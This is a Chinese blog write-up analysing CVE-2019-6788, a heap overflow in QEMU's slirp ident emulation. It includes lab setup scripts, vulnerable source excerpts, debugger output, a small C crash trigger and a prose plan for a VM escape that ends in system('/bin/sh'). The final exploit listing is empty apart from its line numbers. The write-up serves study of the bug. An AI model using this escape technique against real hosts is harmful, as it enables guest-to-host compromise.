CVE-2019-6788是一个qemu的逃逸漏洞,本文参考xmzyshypncraycp的文章

环境搭建

首先是创建qemu启动所用的文件系统,需要安装debootstrap,创建完成后的文件系统带有sshssh/id_rsa为私钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
mkdir qemu

sudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch qemu


set -eux

# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' qemu/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a qemu/etc/inittab
#printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
printf '\nallow-hotplug enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a qemu/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a qemu/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a qemu/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a qemu/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a qemu/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a qemu/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee qemu/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a qemu/etc/resolve.conf
echo "ubuntu" | sudo tee qemu/etc/hostname
sudo mkdir -p qemu/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee qemu/root/.ssh/authorized_keys

# Build a disk image
dd if=/dev/zero of=qemu.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F qemu.img
sudo mkdir -p /mnt/qemu
sudo mount -o loop qemu.img /mnt/qemu
sudo cp -a qemu/. /mnt/qemu/.
sudo umount /mnt/qemu

接着是带有漏洞的qemu的编译,也就是首先下载qemu源码,然后切换到有漏洞的版本,再进行编译。

1
2
3
4
5
6
7
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v3.1.0
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make

编译出来的为./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64,查看一下版本

1
2
3
➜  qemu ./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 -version
QEMU emulator version 3.1.0 (v3.1.0-dirty)
Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers

内核可以自行编译,代码如下

1
2
3
4
5
6
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz
tar -xvf linux-5.2.11.tar.xz
make defconfig
make kvmconfig
#编辑 .config 文件, 将 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打开
make -j4

需要保证下面的两个选项是开启的,否则启动的时候可能会出现网卡启动错误,因为对应的网卡驱动没有编译进去

1
2
CONFIG_8139CP=y  , rtl8139 驱动
CONFIG_PCNET32=y , pcnet 驱动

这里我是直接采用之前比赛中的内核。启动脚本如下

1
2
3
4
5
6
7
./qemu-system-x86_64 \
-L pc-bios \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/sda rw" \
-hda ./rootfs.img \
-m 2G -nographic \
-net user,hostfwd=tcp::2222-:22 -net nic

这里使用hostfwd进行了端口转发,即将本机的2222端口转发到qemu虚拟机的22端口。因此我们向虚拟机中传输文件可以使用

1
scp -i ./ssh/id_rsa -P2222 ./file root@localhost:/

漏洞分析

首先我们先测试一下环境,将exp编译完毕之后传入到qemu虚拟机中执行,同时在本机监听端口nc -lvknp 113exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
int s, ret;
struct sockaddr_in ip_addr;
char buf[0x500];

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
ip_addr.sin_port = htons(113); // vulnerable port
ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
memset(buf, 'A', 0x500);
while (1) {
write(s, buf, 0x500);
}
return 0;
}

执行之后qemu崩溃。

1
2
3
root@ubuntu:~# ./exp
connect res 0
start.sh: line 7: 265 Segmentation fault ./qemu-system-x86_64 -L pc-bios -kernel ./bzImage c

注意的是这里的程序使用一次之后再次使用就不行了,不知道为什么,因此调试一次就需要重新拷贝一次。根据writeup,这里我们将断点设置在tcp_emu函数处。可以看到调用的堆栈如下

1
2
3
4
5
6
7
8
9
10
11
► f 0     5570c2d68d2d tcp_emu+28
f 1 5570c2d651d9 tcp_input+3189
f 2 5570c2d5bee4 ip_input+710
f 3 5570c2d5f435 slirp_input+412
f 4 5570c2d47669 net_slirp_receive+83
f 5 5570c2d3d043 nc_sendv_compat+254
f 6 5570c2d3d105 qemu_deliver_packet_iov+172
f 7 5570c2d3fcbe qemu_net_queue_deliver_iov+80
f 8 5570c2d3fe2d qemu_net_queue_send_iov+134
f 9 5570c2d3d24a qemu_sendv_packet_async+289
f 10 5570c2d3d277 qemu_sendv_packet+43

结合源码调试可以发现该函数的实现位于/slirp/tcp_subr.c处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
int
tcp_emu(struct socket *so, struct mbuf *m)
{
Slirp *slirp = so->slirp;
u_int n1, n2, n3, n4, n5, n6;
char buff[257];
uint32_t laddr;
u_int lport;
char *bptr;

DEBUG_CALL("tcp_emu");
DEBUG_ARG("so = %p", so);
DEBUG_ARG("m = %p", m);

switch(so->so_emu) {
int x, i;

case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/

{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;

memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);// 拷贝数据
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
m->m_data[m->m_len] = 0; /* NULL terminate */
if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
HTONS(n1);
HTONS(n2);
/* n2 is the one on our host */
for (tmpso = slirp->tcb.so_next;
tmpso != &slirp->tcb;
tmpso = tmpso->so_next) {
if (tmpso->so_laddr.s_addr == so->so_laddr.s_addr &&
tmpso->so_lport == n2 &&
tmpso->so_faddr.s_addr == so->so_faddr.s_addr &&
tmpso->so_fport == n1) {
if (getsockname(tmpso->s,
(struct sockaddr *)&addr, &addrlen) == 0)
n2 = ntohs(addr.sin_port);
break;
}
}
}
so_rcv->sb_cc = snprintf(so_rcv->sb_data,
so_rcv->sb_datalen,
"%d,%d\r\n", n1, n2);
so_rcv->sb_rptr = so_rcv->sb_data;
so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
}
m_free(m);
return 0;
}

//...
}
}

从函数逻辑中我们可以看到,函数首先是将m->m_data拷贝到so_rcv->sb_wptr中。so_rcv的数据结构为sbuf用来保存tcp网络层的数据,m的数据结构为mbuf用来保存ip传输层的数据,如果data中包含有\r\n则会对sb_cc进行赋值。我们发送的payload中不含含有\r\n,因此这里不会进行赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
struct sbuf {
uint32_t sb_cc; /* actual chars in buffer */
uint32_t sb_datalen; /* Length of data */
char *sb_wptr; /* write pointer. points to where the next
* bytes should be written in the sbuf */
char *sb_rptr; /* read pointer. points to where the next
* byte should be read from the sbuf */
char *sb_data; /* Actual data */
};
struct mbuf {
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */

int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;

caddr_t m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */

Slirp *slirp;
bool resolution_requested;
uint64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char m_dat[];
};

在进行memcpy数据拷贝之前会进行buf剩余空间大小的判断,我们来看一下tcp_emu函数的调用函数tcp_input函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//slirp/tcp_input.c
else if (ti->ti_ack == tp->snd_una &&
tcpfrag_list_empty(tp) &&
ti->ti_len <= sbspace(&so->so_rcv)) {// 这里计算了buf的剩余空间大小
/*
* this is a pure, in-sequence data packet
* with nothing on the reassembly queue and
* we have enough buffer space to take it.
*/
tp->rcv_nxt += ti->ti_len;
/*
* Add data to socket buffer.
*/
if (so->so_emu) {
if (tcp_emu(so,m)) sbappend(so, m);
} else
sbappend(so, m);

/*
* If this is a short packet, then ACK now - with Nagel
* congestion avoidance sender won't send more until
* he gets an ACK.
*
* It is better to not delay acks at all to maximize
* TCP throughput. See RFC 2581.
*/
tp->t_flags |= TF_ACKNOW;
tcp_output(tp);
return;
}

这里的ti的结构体是tcpiphdr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct tcpiphdr {
struct mbuf_ptr ih_mbuf; /* backpointer to mbuf */
union {
struct {
struct in_addr ih_src; /* source internet address */
struct in_addr ih_dst; /* destination internet address */
uint8_t ih_x1; /* (unused) */
uint8_t ih_pr; /* protocol */
} ti_i4;
struct {
struct in6_addr ih_src;
struct in6_addr ih_dst;
uint8_t ih_x1;
uint8_t ih_nh;
} ti_i6;
} ti;
uint16_t ti_x0;
uint16_t ti_len; /* protocol length */
struct tcphdr ti_t; /* tcp header */
};

spspace的定义如下

1
#define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)

ti_len表示的是协议的长度,因为我们输入的payload中没有\r\n因此这里的sb_cc恒定为0。从tcp_inputtcp_emu函数,显示调用了sbspace函数判断buf的剩余空间的大小是否满足要求,如果满足要求那么就会调用tcp_emu->memcpy函数进行数据的拷贝。

但是这里存在一个问题,就是数据拷贝结束之后,如果data中不包含\r or \n字符串,那么就不会对sb_cc进行操作,也就是不会加上拷贝的数据的长度。当用户多次调用tcp_input函数进行数据写入的时候,第二次调用sbspace函数计算得到的data的剩余的空间的大小就不是真正的剩余空间的大小。条件判断恒成立,多次调用memcpy就会导致堆溢出。

动态调试一下,断点设置在tcp_input的条件判断处和tcp_emumemcpy

1
2
3
4
pwndbg> b tcp_subr.c:638
Breakpoint 1 at 0x5606efa01da9: file /root/pwn/qemu/qemu/slirp/tcp_subr.c, line 638.
pwndbg> b tcp_input.c:558
Breakpoint 2 at 0x5606ef9fe14c: file /root/pwn/qemu/qemu/slirp/tcp_input.c, line 558

第一次断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pwndbg> p/x *ti
$3 = {
ih_mbuf = {
mptr = 0x0
},
ti = {
ti_i4 = {
ih_src = {
s_addr = 0xf02000a
},
ih_dst = {
s_addr = 0x202000a
},
ih_x1 = 0x0,
ih_pr = 0x6
},
ti_i6 = {
ih_src = {
__in6_u = {
__u6_addr8 = {0xa, 0x0, 0x2, 0xf, 0xa, 0x0, 0x2, 0x2, 0x0, 0x6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
__u6_addr16 = {0xa, 0xf02, 0xa, 0x202, 0x600, 0x0, 0x0, 0x0},
__u6_addr32 = {0xf02000a, 0x202000a, 0x600, 0x0}
}
},
ih_dst = {
__in6_u = {
__u6_addr8 = {0x0 <repeats 16 times>},
__u6_addr16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
__u6_addr32 = {0x0, 0x0, 0x0, 0x0}
}
},
ih_x1 = 0x0,
ih_nh = 0x0
}
},
ti_x0 = 0x0,
ti_len = 0x500,
ti_t = {
th_sport = 0xe897,
th_dport = 0x7100,
th_seq = 0x5c63c5b6,
th_ack = 0x772402,
th_x2 = 0x0,
th_off = 0x5,
th_flags = 0x18,
th_win = 0xfaf0,
th_sum = 0xbb95,
th_urp = 0x0
}
}

可以看到这里的ti_len的大小就是我们输入的0x500,再来看一下so->so_recv的成员变量的值。

1
2
3
4
5
6
7
8
pwndbg> p/x so->so_rcv
$5 = {
sb_cc = 0x0,
sb_datalen = 0x2238,
sb_wptr = 0x7f688a4150f0,
sb_rptr = 0x7f688a4150f0,
sb_data = 0x7f688a4150f0
}

我们看到初始时候的buf大小为0x2238su_cc0memcpy断点执行完毕之后,可以看到我们的数据已经拷贝进入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> p *m
$9 = {
m_next = 0x7f6889ff6800,
m_prev = 0x5606f07b6a38,
m_nextpkt = 0x0,
m_prevpkt = 0x0,
m_flags = 4,
m_size = 1544,
m_so = 0x7f688a3f8a50,
m_data = 0x5606f19888b4 'A' <repeats 200 times>...,
m_len = 1280,
slirp = 0x5606f07b6990,
resolution_requested = false,
expiration_date = 18446744073709551615,
m_ext = 0x5606f1988870 "",
m_dat = 0x5606f1988860 ""
}
pwndbg> p so->so_rcv
$10 = {
sb_cc = 0,
sb_datalen = 8760,
sb_wptr = 0x7f688a4150f0 'A' <repeats 200 times>...,
sb_rptr = 0x7f688a4150f0 'A' <repeats 200 times>...,
sb_data = 0x7f688a4150f0 'A' <repeats 200 times>...
}

执行到第二次tcp_input条件判断处

1
2
3
4
5
6
7
8
pwndbg> p/x so->so_rcv
$12 = {
sb_cc = 0x0,
sb_datalen = 0x2238,
sb_wptr = 0x7f688a4155f0,
sb_rptr = 0x7f688a4155f0,
sb_data = 0x7f688a4150f0
}

我们可以看到这里的sb_cc0,但是wptr即写指针已经增加了0x500,那么经过几次的拷贝就会造成堆溢出,覆盖某些关键的结构体造成crash

漏洞利用

程序基本上开启了全部的保护

1
2
3
4
5
6
7
pwndbg> checksec
[*] '/root/pwn/qemu/qemu-system-x86_64'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

要想实现程序的任意代码执行,首先需要信息泄漏得到libc基址和程序基址等信息,然后利用堆溢出控制程序的执行流。整个漏洞的利用包含四个部分

  • malloc原语
  • 任意地址写
  • 信息泄漏
  • 控制程序执行流程

malloc 原语

qemu的堆排布非常的复杂,因此如果我们想要控制堆块布局就需要首先将堆内存清空,使得堆的申请都是从top chunk中进行分配,那么这样的堆布局就是可控和可预测的了。我们可以通过ip分片在slirp中的实现来构造malloc原语。

首先我们看一下ip数据包的结构

图片无法显示,请联系作者

ip数据包的长度total length使用两字节表示,即最大为65535字节,一旦发送的长度超过这个字节就需要对数据包进行分段传输。主要关注以下Flags的标志位和Fragment Offset

  • zero:未使用,置为0
  • Do not fragment flag:表示数据包是否为分片数据包,当置为1的时候未分片,简写为DF标志位
  • More fragments following flag:表示后续还有无分片数据包,有的话置为1,简写为MF标志位
  • Fragment Offset:分段偏移即当前数据包在整个大数据包中的偏移

ip数据包的数据结构源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct ip {
#ifdef HOST_WORDS_BIGENDIAN
uint8_t ip_v:4, /* version */
ip_hl:4; /* header length */
#else
uint8_t ip_hl:4, /* header length */
ip_v:4; /* version */
#endif
uint8_t ip_tos; /* type of service */
uint16_t ip_len; /* total length */
uint16_t ip_id; /* identification */
uint16_t ip_off; /* fragment offset field */
#define IP_DF 0x4000 /* don't fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
uint8_t ip_ttl; /* time to live */
uint8_t ip_p; /* protocol */
uint16_t ip_sum; /* checksum */
struct in_addr ip_src,ip_dst; /* source and dest address */
} QEMU_PACKED;

其中ip数据包分段的实现在strip/ip_input.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
void
ip_input(struct mbuf *m)
{
Slirp *slirp = m->slirp;
register struct ip *ip;
int hlen;

//...

/*
* If offset or IP_MF are set, must reassemble.
* Otherwise, nothing need be done.
* (We could look in the reassembly queue to see
* if the packet was previously fragmented,
* but it's not worth the time; just let them time out.)
*
* XXX This should fail, don't fragment yet
*/
if (ip->ip_off &~ IP_DF) {
register struct ipq *fp;
struct qlink *l;
/*
* Look for queue of fragments
* of this datagram.
*/
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id &&
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL;
found:

/*
* Adjust ip_len to not reflect header,
* set ip_mff if more fragments are expected,
* convert offset of this to bytes.
*/
ip->ip_len -= hlen;
if (ip->ip_off & IP_MF)
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;

ip->ip_off <<= 3;

/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);
if (ip == NULL)
return;
m = dtom(slirp, ip);
} else
if (fp)
ip_freef(slirp, fp);

} else
ip->ip_len -= hlen;
//...
}
static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
/*
* If first fragment to arrive, create a reassembly queue.
*/
if (fp == NULL) {
struct mbuf *t = m_get(slirp);
}
struct mbuf *
m_get(Slirp *slirp)
{
register struct mbuf *m;
int flags = 0;

DEBUG_CALL("m_get");

if (slirp->m_freelist.qh_link == &slirp->m_freelist) {
m = g_malloc(SLIRP_MSIZE);
}
//...
}

从代码逻辑来看,如果flag没有设置IP_DF即表示需要进行分段,那么会在当前的链表中首先查找是否存在相应的数据包,如果没找到即将fp设置为空,表示该数据包是相应数据流的第一个数据包,接着调用ip_reass函数,如果fp=NULL,那么就会调用m_get函数为其分配一个mbuf结构体,大小为SLIRP_MSIZE=0x668,即申请了一个0x670大小的堆块,并将其放入到链表中。

也就是说我们可以构造数据包使得其IP_DF为空,那么就会分配0x670大小的堆块。这样就实现了malloc原语。

任意地址写

任意地址写的构造主要基于堆溢出以及ip_reass函数,关键的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
void
ip_input(struct mbuf *m)
{
...
/*
* If offset or IP_MF are set, must reassemble.
* Otherwise, nothing need be done.
* (We could look in the reassembly queue to see
* if the packet was previously fragmented,
* but it's not worth the time; just let them time out.)
*
* XXX This should fail, don't fragment yet
*/
if (ip->ip_off &~ IP_DF) {
register struct ipq *fp;
struct qlink *l;
/*
* Look for queue of fragments
* of this datagram.
*/
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id &&
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL;
found:
ip->ip_len -= hlen;
if (ip->ip_off & IP_MF)
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;

ip->ip_off <<= 3;

/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);
if (ip == NULL)
...
}


static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
register struct mbuf *m = dtom(slirp, ip);
register struct ipasfrag *q;
int hlen = ip->ip_hl << 2;
int i, next;

...
/*
* Reassembly is complete; concatenate fragments.
*/
q = fp->frag_link.next;
m = dtom(slirp, q);

q = (struct ipasfrag *) q->ipf_next;
while (q != (struct ipasfrag*)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
m_cat(m, t);
}
}

/*
* Copy data from one mbuf to the end of
* the other.. if result is too big for one mbuf, allocate
* an M_EXT data segment
*/
void
m_cat(struct mbuf *m, struct mbuf *n)
{
/*
* If there's no room, realloc
*/
if (M_FREEROOM(m) < n->m_len)
m_inc(m, m->m_len + n->m_len);

memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
m->m_len += n->m_len;

m_free(n);
}

可以看到在ip_input函数中,当数据包的标志位IP_MF不为1即数据包是最后一个切片数据包的时候会调用ip_reass函数,在函数中会调用m_cat函数将数据包组合起来。关键的代码就是memcpy(m->m_data+m->m_len, n->m_data, n->m_len),如果我们可以利用堆溢出覆写m_data,就可以实现将可控的数据写入到m_data+m_len处。

exp中实现任意写的逻辑如下,首先利用malloc原语将堆清空。接着利用socket113端口建立连接,申请出可以溢出的结构体so_rcv结构体。紧接着在后面分配一个ip切片数据包mbuf,其id0xdead。由于堆排布,该数据包是紧贴着so_rcv的,可以利用堆溢出覆盖mbuf中的m_data指针。最后再次发送0xdead并且MF标志位为0的数据包,触发memcpy函数将数据拷贝到m_data指针处,实现任意地址写。

地址泄漏

泄漏地址的方法是利用icmp响应包实现的。我们先来看一下tcp协议和icmp协议。

图片无法显示,请联系作者

tcp数据包的数据结构源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define tcphdr slirp_tcphdr
struct tcphdr {
uint16_t th_sport; /* source port */
uint16_t th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
#ifdef HOST_WORDS_BIGENDIAN
uint8_t th_off:4, /* data offset */
th_x2:4; /* (unused) */
#else
uint8_t th_x2:4, /* (unused) */
th_off:4; /* data offset */
#endif
uint8_t th_flags;
uint16_t th_win; /* window */
uint16_t th_sum; /* checksum */
uint16_t th_urp; /* urgent pointer */
};

icmp数据包的数据结构表如下

图片无法显示,请联系作者

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct icmp {
u_char icmp_type; /* type of message, see below */
u_char icmp_code; /* type sub code */
u_short icmp_cksum; /* ones complement cksum of struct */
union {
u_char ih_pptr; /* ICMP_PARAMPROB */
struct in_addr ih_gwaddr; /* ICMP_REDIRECT */
struct ih_idseq {
u_short icd_id;
u_short icd_seq;
} ih_idseq;
int ih_void;

/* ICMP_UNREACH_NEEDFRAG -- Path MTU Discovery (RFC1191) */
struct ih_pmtu {
u_short ipm_void;
u_short ipm_nextmtu;
} ih_pmtu;
} icmp_hun;
#define icmp_pptr icmp_hun.ih_pptr
#define icmp_gwaddr icmp_hun.ih_gwaddr
#define icmp_id icmp_hun.ih_idseq.icd_id
#define icmp_seq icmp_hun.ih_idseq.icd_seq
#define icmp_void icmp_hun.ih_void
#define icmp_pmvoid icmp_hun.ih_pmtu.ipm_void
#define icmp_nextmtu icmp_hun.ih_pmtu.ipm_nextmtu
union {
struct id_ts {
n_time its_otime;
n_time its_rtime;
n_time its_ttime;
} id_ts;
struct id_ip {
struct ip idi_ip;
/* options and then 64 bits of data */
} id_ip;
uint32_t id_mask;
char id_data[1];
} icmp_dun;
#define icmp_otime icmp_dun.id_ts.its_otime
#define icmp_rtime icmp_dun.id_ts.its_rtime
#define icmp_ttime icmp_dun.id_ts.its_ttime
#define icmp_ip icmp_dun.id_ip.idi_ip
#define icmp_mask icmp_dun.id_mask
#define icmp_data icmp_dun.id_data
};

这里泄漏地址的方法如下

  1. 首先通过堆溢出覆写m_data指针的低三位为0xb00(因为heap所在的内存页虚拟地址为0Xxx000000),不会存在越界的问题
  2. 通过任意地址写将伪造的icmp数据包写入到0x7fxxxb00+0x318+0x14+0x14处(eth,ip报头为0x14字节,m_len0x318
  3. 再来一次任意写,先connect得到so_rcv,再发送一个icmp数据包,其中MF=1,那么mbuf就会被分配到so_rcv的后面
  4. 覆写m_data改为0x7fxxxb00+0x318+0x14+0x14即伪造的icmp数据包的位置
  5. 发送一个MF=0的数据包触发icmp响应,得到伪造的icmp数据包及后面的脏数据,从而泄漏出二进制基址和堆地址

劫持控制流

最后劫持控制流的方法就是利用QemuTimerbss数据段中存在一个全局变量main_loop_tlg,类型为QEMUTimerList,其成员变量active_tiemrsQEMUTimer*类型的变量,我们在堆中伪造这两个变量,覆写bss中的全局变量,伪造cbsystem.plt,伪造opaque/bin/sh,那么当expire_time过完之后就会触发timer的调用,发生如下的调用链

1
timer_mod->timer_mod_ns->timerlist_notify->notify_cb(notify_opaque, clock->type)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// util/qemu-timer.c
struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock;
QEMUTimer *active_timers;
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb;
void *notify_opaque;

/* lightweight method to mark the end of timerlist's running */
QemuEvent timers_done_ev;
};

// include/qemu/timer.h
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb; // 函数指针
void *opaque; // 参数
QEMUTimer *next;
int attributes;
int scale;
};

这个notify_cb就是cbcall back函数,notify_opaque就是opaque

EXP

raycp师傅的exp如下,就使用的这个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
